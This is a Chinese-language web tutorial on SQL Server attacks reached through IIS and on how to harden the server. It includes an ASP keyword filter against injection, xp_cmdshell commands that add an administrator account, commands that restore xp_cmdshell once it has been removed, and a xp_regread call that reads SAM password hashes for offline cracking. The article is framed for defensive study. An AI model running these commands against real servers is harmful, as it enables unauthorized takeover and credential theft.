首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

從 IIS 轉戰 SQL Server:資料庫層面的提權攻擊與防禦實戰

     編輯:MySQL 資料庫相關知識

隨著 Code Red、Nimda 等蠕蟲將 IIS 漏洞自動化利用,攻擊重心逐漸轉向後端資料庫。本文以 MS SQL Server 為例,深度剖析從腳本注入到系統存儲過程提權的完整攻擊鏈,並給出針對性的加固方案。

一、腳本層面的 SQL 注入防禦

ASP 環境下可部署過濾函數攔截高危字符:

Function Filter_SQL(strData)
  Dim strFilter, blnFlag, i, arrayFilter
  strFilter = ""',;,//,--,@,_,exec,declare""
  blnFlag = False
  arrayFilter = Split(strFilter, ",")
  For i = 0 To UBound(arrayFilter)
    If InStr(strData, arrayFilter(i)) > 0 Then
      blnFlag = True: Exit For
    End If
  Next
  If blnFlag Then Response.Redirect "wrong.asp" Else Filter_SQL = strData
End Function

二、核心威脅:xp_cmdshell 系統命令執行

SQL Server 預設 sa 空密碼,配合 xp_cmdshell 可直接執行系統命令:

EXEC xp_cmdshell 'net user hacker 123456 /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';

兩條語句即可在系統建立管理員帳號,實現從資料庫到作業系統的完全控制。

三、預設可公開執行的高危擴展存儲過程

存儲過程功能風險
xp_fileexist檢測文件是否存在偵察伺服器文件結構
xp_getfiledetails獲取文件詳細屬性洩露敏感文件資訊
xp_dirtree遞歸列出目錄結構映射伺服器目錄樹
xp_getnetname獲取伺服器網絡名稱確認目標身份
xp_regread讀取註冊表可讀取加密的 SAM 雜湊(需高權限)

四、SQL Server 安全加固清單

  1. 強化 sa 密碼:設置複雜密碼,日常操作使用最小權限帳號。
  2. 刪除高危擴展存儲過程:
    USE master;
        EXEC sp_dropextendedproc 'xp_cmdshell';
        -- 同理刪除 xp_regread, xp_dirtree 等
        
  3. 移除 guest 帳號,阻止未授權存取。
  4. 禁用不必要的網絡協議,僅保留 TCP/IP 或命名管道。
  5. 啟用完整登入審計,記錄成功/失敗登入事件,定期用 findstr /C:"登錄" 日志路徑\*.* 檢視。
  6. 定期掃描空密碼帳號:
    USE master;
        SELECT name, password FROM syslogins WHERE password IS NULL;
        
  7. 審計擴展存儲過程執行權限:
    USE master;
        SELECT sysobjects.name FROM sysobjects, sysprotects
        WHERE sysprotects.uid = 0 AND xtype IN ('X','P')
        AND sysobjects.id = sysprotects.id;
        

五、應急恢復與後門利用技巧(僅供防禦研究)

  • 若 xp_cmdshell 被刪,可用 sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 恢復。
  • 利用 xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account','F' 讀取系統雜湊,配合 pwdump 等工具離線破解。

資料庫伺服器常被忽視的日志審計與權限收歸,是防禦橫向移動的關鍵。建議將資料庫與 Web 伺服器物理隔離,並納入統一的安全運營體系。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved